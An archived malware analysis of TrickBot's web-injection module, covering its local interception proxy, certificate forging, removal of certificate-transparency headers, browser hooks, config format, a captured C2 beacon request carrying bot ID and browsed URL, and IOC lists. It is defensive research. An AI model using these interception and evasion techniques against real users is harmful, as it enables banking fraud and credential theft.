{
	"id": "9059a585-2183-4e17-a35a-bb246231e20d",
	"created_at": "2026-04-06T00:17:39.753205Z",
	"updated_at": "2026-04-10T03:22:07.925733Z",
	"deleted_at": null,
	"sha1_hash": "6fdc86abc8aff544fc28bcd7a7e7abbd5c0a9c7f",
	"title": "Deep Dive into Trickbot's Web Injection",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 553600,
	"plain_text": "Deep Dive into Trickbot's Web Injection\r\nPublished: 2022-01-24 · Archived: 2026-04-05 16:36:22 UTC\r\nOverview\r\nTrickBot, a modular trojan, has been active in the malware scene since 2016. It is famously known for having a\r\nvariety of modules in its attack toolkit, some of which are quite recent and some being actively developed. This\r\nbrings us to its web injection module, injectDLL , that has been around since the malware was first discovered.\r\nThe core purpose of the module still remains the same, which is injecting scripts into websites to exfiltrate\r\ninformation. However, there have been some recent additions to the module, especially since the introduction of\r\nits newer webinject config winj\r\n1\r\n.\r\nOne technique that is worth noting is the module’s ability to circumvent Certificate Transparency checks - an open\r\nframework that was introduced to detect malicious TLS certificates2. Some of the other changes are techniques\r\nseen used by malware families such as the creation of a localhost proxy3 and the utilization of a multistage\r\nJavaScript web injection4.\r\nHerein, we explore these latest developments and uncover how the module works.\r\nWebinject Module Setup\r\nThe module is loaded by executing its Start and Control export functions.\r\nThe Start export is responsible for orchestrating the webinject process. When the export is executed, the\r\nmodule checks if it is able to utilize Windows’ CryptoAPI in the victim machine for its TLS communication\r\nroutine. Failing this check, the module terminates. The export then makes modifications to certain browser files\r\nand the system’s registry (elaborated here and here). Additionally, several threads are launched by the export, each\r\nplaying a different role in the web injection routine. What each thread does is elaborated upon here.\r\nThe Control export handles parsing of the config files. It saves a pointer to the parsed config in the module, in\r\norder for the threads to be able to access it. Currently the known config names for TrickBot’s webinject module\r\nare sinj , dinj , dpost and winj . At the time of analyzing the webinject module, we were unable to acquire\r\na sinj or dinj config. Hence this blog will focus more on the winj and dpost configs.\r\nThreads\r\nThe module launches several threads, each playing a different role. A diagrammatic view of the threads launched\r\nby the module is shown in Image 1.\r\nhttps://www.kryptoslogic.com/blog/2022/01/deep-dive-into-trickbots-web-injection/\r\nPage 1 of 15\n\n1. Webinject Module's Threads\r\nBelow is a summary on what the threads accomplish. We group them to summarize them better before we dive in\r\ndepth into each thread’s functionality:\r\nThe Proxy, Session, DPOST and ZeusPing threads have a network role. The Proxy thread sets up the proxy\r\nand for every new connection made to the proxy, the Session thread gets launched. The Session thread\r\nhandles communication between the browser and website. The DPOST thread sends data to C2s listed in\r\nthe dpost config and the ZeusPing thread makes requests to C2s listed in the winj config.\r\nThe Browser and Pipe threads inject into browsers and set up communication with them, respectively.\r\nFinally, the threads CallBack and Ping relay events back to the main bot.\r\nProxy Thread\r\nThe proxy thread creates a socket that binds to 127.0.0.1:15733 . It listens for incoming connections to the\r\nsocket that would be made by the injected browser module.\r\nThe thread then creates a session thread for every new connection.\r\nSession Thread\r\nA session thread is created for every new socket connection made to the localhost proxy from the browser. This\r\nthread handles communication with the browser and to the website that the browser is trying to connect to. The\r\nthread is able to process SOCKS communication if the browser uses one. It intercepts TLS traffic by modifying\r\ncertificates and accordingly modifies the requests and responses. Finally, the thread is responsible for injecting the\r\nmalicious JavaScript provided by the winj config if it finds a target URL.\r\nEvery thread is passed a structure tk__session (see Appendix) as a parameter (enabling the thread to keep track\r\nof information related to that specific connection).\r\nhttps://www.kryptoslogic.com/blog/2022/01/deep-dive-into-trickbots-web-injection/\r\nPage 2 of 15\n\nThe sequence diagram below shows the flow of events that takes place with each session.\r\n2. Sequence diagram of Session events\r\n1. Handshake from browser\r\nThe initial request processed by the Session thread is a modified SOCKS4 protocol sent by the injected browser\r\nmodule. The modified SOCKS4 protocol is the first request received before handling the actual requests initiated\r\nby the browser. This request is sent from the APIs Connect and ConnectEx that are hooked by the browser\r\nmodule. The hooking process is explained here.\r\nThe data sent contains information about the website the browser is attempting to connect to, including\r\ninformation about the browser itself. Below is the format of that information:\r\nstruct tk__modified_SOCKS4{\r\n BYTE SOCKS_Version; // Version 4\r\nhttps://www.kryptoslogic.com/blog/2022/01/deep-dive-into-trickbots-web-injection/\r\nPage 3 of 15\n\nBYTE CommandCode; // set to 0x01 - TCP/IP stream connection\r\n WORD Port;\r\n DWORD IP; // big-endian\r\n // This part of the structure would normally have the user ID string, if it were SOCKS4\r\n // Since this is a modified SOCKS4, the module replaces it with information of the browser\r\n BYTE browserType; // 0x01 - InternetExplorer\r\n // 0x02 - Firefox\r\n // 0x03 - Chrome\r\n // 0x04 - MicrosoftEdge\r\n DWORD browserPID;\r\n};\r\nIf the thread has parsed the request with no errors, it sends an 8 byte response 005a000000000000 , signifying\r\nRequest Granted\r\n5\r\n.\r\nOne observation is the option of parsing a SOCKS5 protocol if it was sent as the initial handshake request.\r\nHowever, we have not come across a browser module that implements SOCKS5 as the initial handshake request.\r\nAfter a successful handshake request is established between the Session thread and the browser module, the thread\r\nproceeds to handle the rest of the actual request.\r\n2. Browser uses SOCKS\r\nThe module checks if the browser uses a SOCKS proxy, by inspecting the original request for the SOCKS4 or\r\nSOCKS5 protocols.\r\nIf the browser uses SOCKS, the thread forwards every browser (client) request to the SOCKS server and every\r\nSOCKS server response back to the browser. It does this until it detects a request in the SOCKS protocol that\r\nmatches either a TLS protocol or an HTTP request.\r\n3. Modifying browser requests\r\nBefore forwarding any browser requests to the website, the thread modifies the header Accept-Encoding if it is\r\npresent. The value set is gzip;q=1,deflate,br;q=0 . This header normally gets set by the browser to indicate the\r\ntype of content encoding that it can accept6. The thread overwrites the value of the header to implement one\r\nmethod of encoding, so it is able to view the received contents and inject scripts if needed.\r\n4. Modifying/Injecting website responses\r\nFirst off, the thread checks the response headers of every website and modifies certain headers if they are present.\r\nThe headers it checks for are used for enforcing Certificate Transparency, which is an open framework for\r\nauditing and monitoring TLS certificates2. The headers789 are described in the table below:\r\nhttps://www.kryptoslogic.com/blog/2022/01/deep-dive-into-trickbots-web-injection/\r\nPage 4 of 15\n\nHeader Modified Header Purpose for Modification\r\nExpect-CT X-pect-XX\r\nTo prevent sites from enforcing Certificate Transparency\r\n(see Image 3).\r\nPublic-Key-Pins X-blic-Key-Pins\r\nTo prevent a server from sending public key hashes to the\r\nbrowser to check for fraudulent certificates.\r\nPublic-Key-Pins-Report-OnlyX-blic-Key-Pins-Report-Only\r\nSame as above\r\n3. Header as seen in Firefox\r\nFinally, if the header Content-Type is present in the response and is either of type text/plain or text/html ,\r\nthen the thread checks if the website matches any of the target URLs in the config list. If there is a match, the\r\nthread injects the JavaScript obtained from the winj config accordingly.\r\nMaking TLS connections\r\nThe session thread makes TLS connections with the browser and with the website using the Windows SSPI\r\n( Security Support Provider Interface ) model10. To keep track of the certificate contexts used in creating\r\nsecure connections, it saves the information in a struct tk__cert_context (see Appendix).\r\nConnections with the website\r\nThe thread creates a self signed certificate, using CN as localhost , that is used as the client’s side certificate\r\ncontext when establishing connections to a website. This client certificate context is not added to any certificate\r\nstore and is instead saved in the structure tk__cert_context (see Appendix) used by the Session thread.\r\nConnections with the browser\r\nBefore forwarding the requests made by the browser to the website, the session thread first attempts to connect to\r\nthe website directly. In doing so, it acquires the website’s certificate context. It does this to not only use the\r\noriginal certificate to communicate with the website, but to also create a modified version of the website’s\r\ncertificate to communicate with the browser. The modifications to the certificate are done according to which\r\nbrowser is being used. It does this to prevent the browsers from detecting suspiciously crafted certificates as well\r\nas to prevent them from doing any Certificate Transparency checks.\r\nFirst, a copy of the website’s certificate is saved in the struct tk__cert_context (see Appendix). Then, the\r\nwebsite’s certificate is deleted from the certificate stores ( Root , CA , My and Temp ), if it existed before.\r\nhttps://www.kryptoslogic.com/blog/2022/01/deep-dive-into-trickbots-web-injection/\r\nPage 5 of 15\n\nSecond, the thread attempts to create its own CA certificate matching the issuer name in the website’s certificate.\r\nIt does this so it can create its own modified website certificate that is signed by a CA it controls. Retaining the\r\nencoded certificate’s issuer name, the thread uses it when creating a new self-signed CA certificate. The certificate\r\nis built with the following extensions (see Image 4):\r\nextendedKeyUsage : TLS Web Server Authentication\r\nkeyUsage : Digital Signature, Key Encipherment, Data Encipherment\r\nThe algorithm used is sha256WithRSAEncryption and 10 years is added to the expiry.\r\nIn addition to the above, if the browser is Firefox, then the thread deletes the original CA certificate from Firefox’s\r\ncertificate database and imports its self-signed CA certificate instead. It does this by leveraging the APIs of the\r\nbrowser’s DLL nss3.dll : NSS_Initialize , CERT_GetDefaultCertDB , PK11_GetInternalKeySlot ,\r\nCERT_DecodeCertFromPackage , CERT_FindCertByDERCert , PK11_ImportCert , CERT_ChangeCertTrust ,\r\nCERT_DestroyCertificate , PK11_FreeSlot , NSS_Shutdown , CERT_FindCertByNicknameOrEmailAddrCX ,\r\nSEC_DeletePermCertificate , PK11_FindCertFromNickname , PK11_DeleteTokenCertAndKey and\r\nPORT_GetError .\r\n4. Comparison of the CA certificate\r\nThird, a new public/key pair is generated and then signed by the self-signed CA certificate.\r\nFinally, when building the new website certificate, the thread retains certain information from the original\r\nwebsite’s certificate and modifies other values. The information retained are the version number, issuer unique ID,\r\nsubject unique ID, NotAfter timestamp, the subject name and the subject public key information. Information\r\nabout the NotBefore timestamp is modified, if the browser it is communicating with is Chrome (see Image 5).\r\nIf the NotBefore timestamp is greater than than year 2017, the year is set to 2017. And if the month is set to\r\nOctober or above, it is changed to September. As for the Certificate’s serial number, if the communicating browser\r\nis Firefox, a random serial number is generated instead.\r\nhttps://www.kryptoslogic.com/blog/2022/01/deep-dive-into-trickbots-web-injection/\r\nPage 6 of 15\n\n5. Modified Certificates\r\nDPOST Thread\r\nThis thread is created by the session thread, to gather data from every POST request made by the browser and\r\nsend it to the dpost C2s. These C2s are provided by the dpost config.\r\nThe URI created to the dpost C2 is as follows:\r\nhttps://\u003cc2\u003e:\u003cport\u003e/\u003cgtag\u003e/\u003cbotid\u003e/\u003ccommand\u003e/\r\nBelow is a table of the commands and their meaning. In the sample analyzed, we only observed the use of\r\ncommand 60 (a known command for sending captured traffic11), whereas the other commands do not appear to\r\nbe used by the module.\r\nhttps://www.kryptoslogic.com/blog/2022/01/deep-dive-into-trickbots-web-injection/\r\nPage 7 of 15\n\nCommand Information Captured Used by Module\r\n60 Base64 encoded POST data, keys, POST URL Yes\r\n81 POST data, POST URL No\r\n82 same as command 81 No\r\n83 POST data, bill info, card info No\r\nBrowser Thread\r\nThe browser thread monitors the running processes to check for browsers to inject the browser module into. The\r\nthread uses the Reflective DLL injection technique12 to load the module into the browser.\r\nCurrently, the thread targets browsers such as Internet Explorer, Firefox, Chrome and Microsoft Edge. It makes\r\nsure to skip the Tor browser since the browser runs under the process name firefox.exe . The thread also checks\r\nfor browsers such as Amigo and Yandex, but doesn’t proceed with injecting into them.\r\nFirefox\r\nFor injecting into Firefox, before proceeding with the reflective loader, the thread first overwrites the address of\r\nBaseThreadInitThunk in the Firefox process. Firefox is known to hook certain Windows APIs and in this case\r\nFirefox hooks BaseThreadInitThunk\r\n13\r\n to check for any suspicious remote threads injected into the browser.\r\nChrome\r\nInjection into the Chrome process undergoes a few steps:\r\n1. First off, it skips Chrome processes that are running with the parameters network.mojom.NetworkService .\r\n2. When a Chrome process is found, the thread saves the access token of the browser and its original\r\nparameters before terminating it.\r\n3. The thread then restarts Chrome with the original parameters along with --disable-http2 --use-spdy=off\r\n--disable-quic --enable-logging --log-level=0 .\r\nZeusPing Thread\r\nThe ZeusPing thread makes a GET request to a C2 url. This url is provided via the winj config under the\r\ndepend field. The config is described here.\r\nAt the time of researching the webinject module, we were not able to retrieve a winj config having a depend\r\nfield.\r\nCallBack Thread\r\nThe callback thread sends messages back to the bot regarding certain events. The thread loops until there is a\r\nmessage queued up by the Module to send to the main bot. When a message is available, it is passed as a\r\nhttps://www.kryptoslogic.com/blog/2022/01/deep-dive-into-trickbots-web-injection/\r\nPage 8 of 15\n\nparameter to the main bot’s CallBack function.\r\nPing Thread\r\nThe ping thread sends the current timestamp message back to the bot. This message is read by the CallBack\r\nthread. The timestamp message is sent every 2-5 minutes as long as the threads are running.\r\nPipe Thread\r\nThe pipe thread gets created by the browser thread if it has detected a browser process to inject the browser\r\nmodule into. This thread communicates with the browser module via a pipe object. The thread creates a pipe\r\nobject with a name format similar to the module’s previous variants14. The format is\r\n\\\\.\\pipe\\pidplacesomepipe with the browser’s PID written over pidplacesomepipe .\r\nThe thread keeps track of each pipe name created, only if the string XiiZ1q7ubnvnLf4LP6wNJo97xE appears within\r\nthe browser module. However, at the time of analysis, we were unable to acquire a webinject module that had a\r\nbrowser module which communicates with the pipe.\r\nBrowser Modifications\r\nInjected Browser Module\r\nThe browser module is responsible for setting up the initial handshake with the malicious proxy and ensuring no\r\nTLS certificate errors. If it observes the browser is being debugged, it stops redirecting to the proxy and\r\ncommunication resumes as normal. To carry out these activities, it hooks onto the APIs Connect , ConnectEx ,\r\nWSAIoctl , CertGetCertificateChain and CertVerifyCertificateChainPolicy .\r\n1. Connect\r\nThe Connect hook ignores browser connections made to 0.0.0.0 and any connections made on port 9229\r\n(Chrome’s dev-tools connects to port 9229 for debugging15). It establishes the initial handshake to the malicious\r\nproxy.\r\n2. ConnectEx\r\nIf the browser type is MicrosoftEdge or Firefox, the module hooks the ConnectEx API. The address of the API is\r\nobtained by making a call to the WSAIoctl API with the SIO_GET_EXTENSION_FUNCTION_POINTER opcode\r\nspecified16. The ConnectEx hook ignores browser connections made to 127.0.0.1 or 0.0.0.0 . This hook also\r\nestablishes the initial handshake to the malicious proxy.\r\n3. WSAIoctl\r\nIf the browser is Chrome or Internet Explorer, the module hooks the WSAIoctl API. This hook checks if the\r\ncontrol opcode passed to the api is SIO_GET_EXTENSION_FUNCTION_POINTER . If it is not, the hook passes the\r\narguments to the original WSAIoctl . Else if it is has the opcode SIO_GET_EXTENSION_FUNCTION_POINTER and\r\nhttps://www.kryptoslogic.com/blog/2022/01/deep-dive-into-trickbots-web-injection/\r\nPage 9 of 15\n\nthere is a pointer in the parameter for the output buffer, then the hook passes the address of the ConnectEx hook\r\nfunction above to the output buffer.\r\n4. CertGetCertificateChain\r\nThe CertGetCertificateChain hook modifies the result of the chain context created. Any errors in the\r\nTrustStatus is removed and the status is set to:\r\nCERT_TRUST_HAS_EXACT_MATCH_ISSUER\r\nCERT_TRUST_HAS_ISSUANCE_CHAIN_POLICY\r\nCERT_TRUST_HAS_VALID_NAME_CONSTRAINTS\r\nThe same is implemented for every certificate chain in that context and the final element in each chain is\r\nadditionally set to CERT_TRUST_IS_SELF_SIGNED .\r\n5. CertVerifyCertificateChainPolicy\r\nThe CertVerifyCertificateChainPolicy hook removes the error status of this API’s result.\r\nInternet Explorer\r\nThe module disables certain registry entries in the system to modify how Internet Explorer gets run and to assist\r\nthe module in injecting JavaScript. These entries are:\r\nHKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\EnableHTTP2 - This registry\r\nsetting determines if Internet Explorer should use the HTTP/2 network protocol which allows for\r\ncompression of HTTP data17. Disabling this registry setting makes it easier for the module to carry out\r\nwebinjection. It is a common technique that banking trojans employ18.\r\nSoftware\\Microsoft\\Internet Explorer\\Main\\TabProcGrowth - This registry sets the rate at which\r\nInternet Explorer creates new tab processes19. By disabling it, the tabs run in the same process20, thus\r\nmaking it easier for the webinject module to inject the browser module.\r\nFirefox\r\nThe module modifies certain properties in Firefox’s pref.js file. The following set of properties are set to false:\r\nbrowser.tabs.remote.autostart - This property sets Firefox’s multi-process implementation, which\r\nmeans disabling it has all tabs stay in the same process instead of a new process for each new tab.\r\nbrowser.tabs.remote.autostart.2 - same as above\r\nnetwork.http.spdy.enabled.http2 - Disabling this property disables the use of the HTTP/2 network\r\nprotocol.\r\nwinj WebInjects\r\nThe winj config follows the same format as Zeus’s config21, except for an additional parameter depend . This\r\nnew field contains a C2 URL that the ZeusPing thread attempts to reference and make a request to. It is unclear\r\nhttps://www.kryptoslogic.com/blog/2022/01/deep-dive-into-trickbots-web-injection/\r\nPage 10 of 15\n\nwhat the intention of the request is; perhaps being a new feature yet to be implemented.\r\nset_url - URL target with options\r\ndepend - Trickbot C2 to make a GET request to\r\ndata_before - Inject data to add before content\r\ndata_after - Inject data to add after content\r\ndata_inject - Inject data\r\nFunctionality on the webinjects\r\nThe injected JavaScript beacons out to a C2 decrypted within the script to download the final jquery file which\r\nsteals information from the website.\r\nSince the introduction of winj there have been updates to the config, especially to the list of URLs that are\r\ntargeted. Previously, there were a small list of target URLs. Currently, that list has increased and in addition there\r\nis a single script that gets injected into any URL that matches the format https://*/* . This “core” script is\r\nnecessary and is used in conjunction with the other injected scripts to download the final jquery payload.\r\nThe core script beacons to the C2 s1[.]deadseaproductions[.]com with information about the bot embedded in\r\nthe headers. It relays information of the %BOTID% and the URL that is currently being browsed via the headers X-Client-Id and X-Client-Origin respectively.\r\nGET /api.js HTTP/1.1\r\nHost: s1.deadseaproductions.com\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0\r\nAccept: */*\r\nAccept-Language: en-CA,en-US;q=0.7,en;q=0.3\r\nAccept-Encoding: gzip;q=1,deflate,br;q=0\r\nX-Client-Origin: https://target-url/content/\r\nX-Client-Id: %BOTID%\r\nOrigin: https://target-url\r\nConnection: keep-alive\r\nReferer: https://target-url\r\nSec-Fetch-Dest: empty\r\nSec-Fetch-Mode: cors\r\nSec-Fetch-Site: cross-site\r\nIf the response received by the core script is status 200 , the script injects the response as a JavaScript script\r\nelement into the webpage. During analysis, we were unable to receive a 200 status code and instead kept\r\nreceiving a 204 status code.\r\nIn addition to the core script, if the URL matches a target URL in the config, then the secondary scripts are\r\ninjected into the website. If the injected script has a script tag with class information, those scripts make further\r\nrequests to a C2 decrypted from the script to obtain the final stage of the webinjects which is a jquery file.\r\nhttps://www.kryptoslogic.com/blog/2022/01/deep-dive-into-trickbots-web-injection/\r\nPage 11 of 15\n\nIn building the request URL, values from the class information in the script tag is used in addition to a string\r\ndecrypted within the javascript. Those values are necessary for pulling down the final payload.\r\nThe GET request is of the following format:\r\nhttps://%C2%/%BOTID%/%decrypted-string%/%script-class-values%/%jquery-filename%\r\nConclusion\r\nThese new developments to the webinject module are just the start. In a short timeframe, we have seen changes\r\nadded to the module and especially in the webinjects that are being delivered. Below are some IOCs we provide\r\nrelated to the analysis done on this module.\r\nIOCs\r\nC2s\r\nOrigin\r\nScript\r\nC2 Domain Request URL Path\r\nFile\r\nRequested\r\nCore\r\nScript\r\ns1[.]deadseaproductions[.]com GET api.js\r\nSecondary\r\nScript\r\nmyca[.]adprimblox[.]fun GET\r\n/%BOTID%/%decrypted-string%/%script-class-values%/\r\njquery-3.5.1.min.js\r\nSecondary\r\nScript\r\nseq[.]mediaimg23[.]monster GET\r\n/%BOTID%/%decrypted-string%/%script-class-values%/\r\njquery-3.5.1.min.js\r\nFinal\r\njquery\r\nakama[.]pocanomics[.]com POST\r\nDPOST C2s\r\nhttp://175[.]184[.]232[.]234:443\r\nhttp://202[.]152[.]56[.]10:443\r\nhttp://139[.]255[.]41[.]122:443\r\nhttp://103[.]75[.]32[.]173:443\r\nhttp://64[.]64[.]150[.]203:443\r\nhttp://116[.]206[.]62[.]138:443\r\nhttp://96[.]9[.]69[.]207:443\r\nhttps://www.kryptoslogic.com/blog/2022/01/deep-dive-into-trickbots-web-injection/\r\nPage 12 of 15\n\nhttp://117[.]54[.]140[.]98:443\r\nhttp://103[.]11[.]218[.]199:443\r\nhttp://114[.]7[.]243[.]26:443\r\nhttp://110[.]38[.]58[.]198:443\r\nhttp://96[.]9[.]74[.]169:443\r\nhttp://103[.]111[.]83[.]86:443\r\nhttp://190[.]183[.]60[.]164:443\r\nhttp://206[.]251[.]37[.]27:443\r\nhttp://196[.]44[.]109[.]73:443\r\nhttp://138[.]94[.]162[.]29:443\r\nhttp://45[.]221[.]8[.]171:443\r\nhttp://27[.]109[.]116[.]144:443\r\nhttp://45[.]116[.]68[.]109:443\r\nhttp://45[.]115[.]174[.]60:443\r\nhttp://45[.]115[.]174[.]234:443\r\nhttp://36[.]95[.]73[.]109:443\r\nhttp://80[.]210[.]26[.]17:443\r\nhttp://186[.]96[.]153[.]223:443\r\nSamples\r\nSHA256 Description\r\n6a75c212b49093517e6c29dcb2644df57a931194cf5cbd58e39e649c4a2b84ba Webinject Module\r\nAppendix\r\ntypedef enum BROWSER_TYPE{\r\n InternetExplorer,\r\n Firefox,\r\n Chrome,\r\n MicrosoftEdge,\r\n Other\r\n};\r\ntypedef enum HTTP_VERB{\r\n GET,\r\n POST,\r\n PUT,\r\n DELETE,\r\n HEAD,\r\n CONNECT\r\n};\r\n/*\r\nhttps://www.kryptoslogic.com/blog/2022/01/deep-dive-into-trickbots-web-injection/\r\nPage 13 of 15\n\nStructure passed as parameter to each Session thread\r\n*/\r\nstruct tk__session\r\n{\r\n DWORD SessionID;\r\n sockaddr_in browserAddress; // Browser IP address\r\n // Connections made to the proxy\r\n sockaddr_in websiteAddress; // Website IP address\r\n // Connections made to the website\r\n // If the browser uses SOCKS, this will be\r\n // the SOCKS server address\r\n BYTE unused1[0x20];\r\n QWORD ProxySOCKET; // SOCKET for Browser \u003c-\u003e Proxy communication\r\n QWORD WebsiteSOCKET; // SOCKET for Proxy \u003c-\u003e Website communication\r\n QWORD pBrowserRequest; // Browser's request sent to Proxy\r\n QWORD pProxyRequest; // Proxy's request sent to website\r\n // The request is a modification of\r\n // the browser's request\r\n QWORD pHTTPS_URL; // Website's HTTPS URL\r\n QWORD pWebsiteResponse; // Website's response\r\n QWORD pSSLDomainName; // Website's Domain name\r\n QWORD szBrowserRequest; // Browser's request size\r\n QWORD szProxyRequest; // Proxy's request size\r\n QWORD szWebsiteResponse; // Website's response size\r\n QWORD pWebsiteResponse_dinj_sinj; // Website's response in case of dinj\r\n // or sinj config\r\n QWORD szSSLDomainName; // Website's Domain name size\r\n BYTE unused2[8];\r\n BOOL SSLDetected; // If SSL is detected\r\n BOOL SINJ; // If the config is sinj\r\n BOOL DINJ; // If the config is dinj\r\n BROWSER_TYPE BrowserType; // Browser type\r\n HTTP_VERB verb; // Request verb used by the browser\r\n DWORD BrowserPID; // Browser's PID\r\n};\r\n/*\r\n Structure that stores information for making SSPI connections.\r\n Connections between browser \u003c-\u003e Proxy and Proxy \u003c-\u003e website\r\n each have a tk__cert_context.\r\n*/\r\nstruct tk__cert_context{\r\n SOCKET socket; // The socket is either ProxySOCKET\r\n // or the WebsiteSOCKET (taken\r\n // from tk__session)\r\n _SecHandle hCredential; // Handle to the credentials used to\r\nhttps://www.kryptoslogic.com/blog/2022/01/deep-dive-into-trickbots-web-injection/\r\nPage 14 of 15\n\n// establish a schannel security context\r\n _SecHandle hContext; // Handle to the security context\r\n QWORD pwebsiteCertContext; // If the communication is Browser \u003c-\u003e Proxy\r\n // Then a modified website's certificate\r\n // context is used. If the communication is\r\n // Proxy \u003c-\u003e Website, then the original\r\n // website's certificate context is used\r\n QWORD pClientCertContext; // The proxy's localhost certificate context\r\n // which is used as the client's certificate\r\n // when the communication is Proxy \u003c-\u003e Website\r\n QWORD pCACertContext; // The modified self-signed CA certificate\r\n // context\r\n BOOL HandshakeResult; // If a connection is established\r\n _SecPkgContext_StreamSizes StreamSizes; // The maximum size that can be encrypted\r\n QWORD pReceiveBuffer; // Message received by Proxy\r\n QWORD szReceiveBuffer; // Received message size\r\n QWORD ReceiveBufferBytesRead; // Number of bytes read\r\n QWORD pSendBuffer; // Message sent by Proxy\r\n QWORD szSendBuffer; // Sent message size\r\n QWORD SendBufferBytesSent; // Number of bytes sent\r\n}\r\nReferences\r\nSource: https://www.kryptoslogic.com/blog/2022/01/deep-dive-into-trickbots-web-injection/\r\nhttps://www.kryptoslogic.com/blog/2022/01/deep-dive-into-trickbots-web-injection/\r\nPage 15 of 15",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://www.kryptoslogic.com/blog/2022/01/deep-dive-into-trickbots-web-injection/"
	],
	"report_names": [
		"deep-dive-into-trickbots-web-injection"
	],
	"threat_actors": [],
	"ts_created_at": 1775434659,
	"ts_updated_at": 1775791327,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/6fdc86abc8aff544fc28bcd7a7e7abbd5c0a9c7f.pdf",
		"text": "https://archive.orkl.eu/6fdc86abc8aff544fc28bcd7a7e7abbd5c0a9c7f.txt",
		"img": "https://archive.orkl.eu/6fdc86abc8aff544fc28bcd7a7e7abbd5c0a9c7f.jpg"
	}
}